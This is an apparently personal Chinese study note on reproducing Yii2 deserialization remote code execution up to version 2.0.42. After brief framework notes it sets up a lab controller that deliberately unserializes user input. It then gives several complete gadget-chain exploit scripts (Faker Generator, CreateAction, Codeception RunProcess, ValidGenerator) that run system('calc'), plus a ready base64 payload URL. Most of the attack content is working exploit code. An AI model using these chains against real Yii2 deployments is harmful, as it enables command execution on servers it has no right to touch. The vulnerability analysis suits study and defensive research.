环境搭建
- Yii2 < 2.0.38
https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz
https://www.yiichina.com/doc/guide/2.0/start-installation 安装
在 config/web.php中设置密钥,用于生成cookie
访问 /web/index.php即可
YII基础知识
基本都是复制,不爱看别看,我也不爱看,记着怕以后用上
运行机制
https://www.yiichina.com/doc/guide/2.0/runtime-overview
大概看一眼就可以了
应用组件
应用主体是服务定位器, 它部署一组提供各种不同功能的 应用组件 来处理请求。 例如,urlManager组件负责处理网页请求路由到对应的控制器。 db组件提供数据库相关服务等等。
有点难以理解,我个人的理解就是 “一些写好的轮子”,可以用 Yii::$app->的方式去调用,并且还可以去自定义写轮子?这个我就没去深入理解了,因为我本身要复现漏洞,也不是一定要学会开发
[
'components' => [
// 使用类名注册 "cache" 组件
'cache' => 'yii\caching\ApcCache',
// 使用配置数组注册 "db" 组件
'db' => [
'class' => 'yii\db\Connection',
'dsn' => 'mysql:host=localhost;dbname=demo',
'username' => 'root',
'password' => '',
],
// 使用函数注册"search" 组件
'search' => function () {
return new app\components\SolrService;
},
],
]
路由引导与创建URL
这个大概看一眼就行吧?反正我是感觉没太大意义
请求
https://www.yiichina.com/doc/guide/2.0/runtime-requests
获取get和post参数用的
$request = Yii::$app->request;
$get = $request->get();
// 等价于: $get = $_GET;
$id = $request->get('id');
// 等价于: $id = isset($_GET['id']) ? $_GET['id'] : null;
$id = $request->get('id', 1);
// 等价于: $id = isset($_GET['id']) ? $_GET['id'] : 1;
$post = $request->post();
// 等价于: $post = $_POST;
$name = $request->post('name');
// 等价于: $name = isset($_POST['name']) ? $_POST['name'] : null;
$name = $request->post('name', '');
// 等价于: $name = isset($_POST['name']) ? $_POST['name'] : '';
获取PUT PATCH或者其他request方法提交的参数
$request = Yii::$app->request;
// 返回所有参数
$params = $request->bodyParams;
// 返回参数 "id"
$param = $request->getBodyParam('id');
判断请求方法
$request = Yii::$app->request;
if ($request->isAjax) { /* 该请求是一个 AJAX 请求 */ }
if ($request->isGet) { /* 请求方法是 GET */ }
if ($request->isPost) { /* 请求方法是 POST */ }
if ($request->isPut) { /* 请求方法是 PUT */ }
检测url
url:返回 /admin/index.php/product?id=100, 此 URL 不包括主机信息部分。
absoluteUrl:返回 http://example.com/admin/index.php/product?id=100, 包含host infode的整个URL。
hostInfo:返回 http://example.com, 只有主机信息部分。
pathInfo:返回 /product, 这个是入口脚本之后,问号之前(查询字符串)的部分。
queryString:返回 id=100,问号之后的部分。
baseUrl:返回 /admin,主机信息之后, 入口脚本之前的部分。
scriptUrl:返回 /admin/index.php,没有路径信息和查询字符串部分。
serverName:返回 example.com,URL 中的主机名。
serverPort:返回 80,这是 web 服务中使用的端口。
http头
// $headers 是一个 yii\web\HeaderCollection 对象
$headers = Yii::$app->request->headers;
// 返回 Accept header 值
$accept = $headers->get('Accept');
if ($headers->has('User-Agent')) { /* 这是一个 User-Agent 头 */ }
- userAgent:返回 User-Agent 头。
- contentType:返回 Content-Type 头的值, Content-Type 是请求体中MIME类型数据。
- acceptableContentTypes:返回用户可接受的内容MIME类型。 返回的类型是按照他们的质量得分来排序的。得分最高的类型将被最先返回。
- acceptableLanguages:返回用户可接受的语言。 返回的语言是按照他们的偏好层次来排序的。第一个参数代表最优先的语言。
响应
不想记了,直接丢链接
https://www.yiichina.com/doc/guide/2.0/runtime-responses
漏洞复现
在controllers目录中新建TestController.php
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
class TestController extends Controller{
public function actionTest(){
$request = Yii::$app->request;
$name = $request->get("unserialize");
return unserialize(base64_decode($name));
}
}
POC
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'calc';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
http://yii:88/web/index.php?r=test/test&unserialize=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjQ6ImNhbGMiO31pOjE7czozOiJydW4iO319fX0=
漏洞分析 <=2.0.37
查看2.0.38版本对于漏洞修复的提交
https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99?branch=9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99&diff=split
可以看见在framework/db/BatchQueryResult.php中增加了一个wakeup,很显然这个就是反序列化的入口
查看/vendor/yiisoft/yii2/db/BatchQueryResult.php的__destruct函数
可以看见__destruct调用了reset函数,如果$this->_dataReader不为空,则调用其close函数,那么这里是可以去调用魔术函数__call方法的
查找所有的__call方法,并且一个个排查
最终找到 /vendor/fzaninotto/faker/src/Faker/Generator.php
该call方法调用了format函数,进入format函数
查看getFormatter函数
我们可以通过控制$this->formatters键对应的值,从而控制call_user_func_array的一个参数,那么我们就需要一个参数可控导致RCE的函数
使用正则表达式进行查找call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+)
yii\rest\CreateAction::run()
yii\rest\IndexAction::run()
两者均可,构造利用链
<?php
namespace yii\db {
use Faker\Generator;
class BatchQueryResult{
public $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
public $formatters;
public function __construct()
{
$this->formatters["close"] = [new CreateAction(),"run"];
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess="system";
$this->id="calc";
}
}
}
namespace {
use yii\db\BatchQueryResult;
$s = new BatchQueryResult();
echo base64_encode(serialize($s));
}
漏洞分析 <=2.0.38
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'calc';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
反序列化调用栈
调用Codeception\Extension\RunProcess的__destruct
进入stopprocess函数,从$this->processes中取出一个属性,并调用其isRunning方法
这里就可以去触发Faker\Generator的__call方法
后续也是一样的,从$this->formatters中取出call_user_func_array所要调用的run方法
最终调用
漏洞分析 <=2.0.42
<?php
namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 1;
}
}
namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
$exp = new RunProcess('system','calc');
echo(base64_encode(serialize($exp)));
入口仍然是Codeception\Extension\RunProcess的__destruct
调用了Faker\VaildGenerator的__call方法
该call方法中会使用call_user_func_array去调用$this->generator类的$name方法,并将返回值设置为$res
这里调用Faker\DefaultGenerator的__call方法,会返回当前类中的$this->default属性为$res赋值,
最终结束while时调用call_user_func,$this->validator与$res均可控,从而执行命令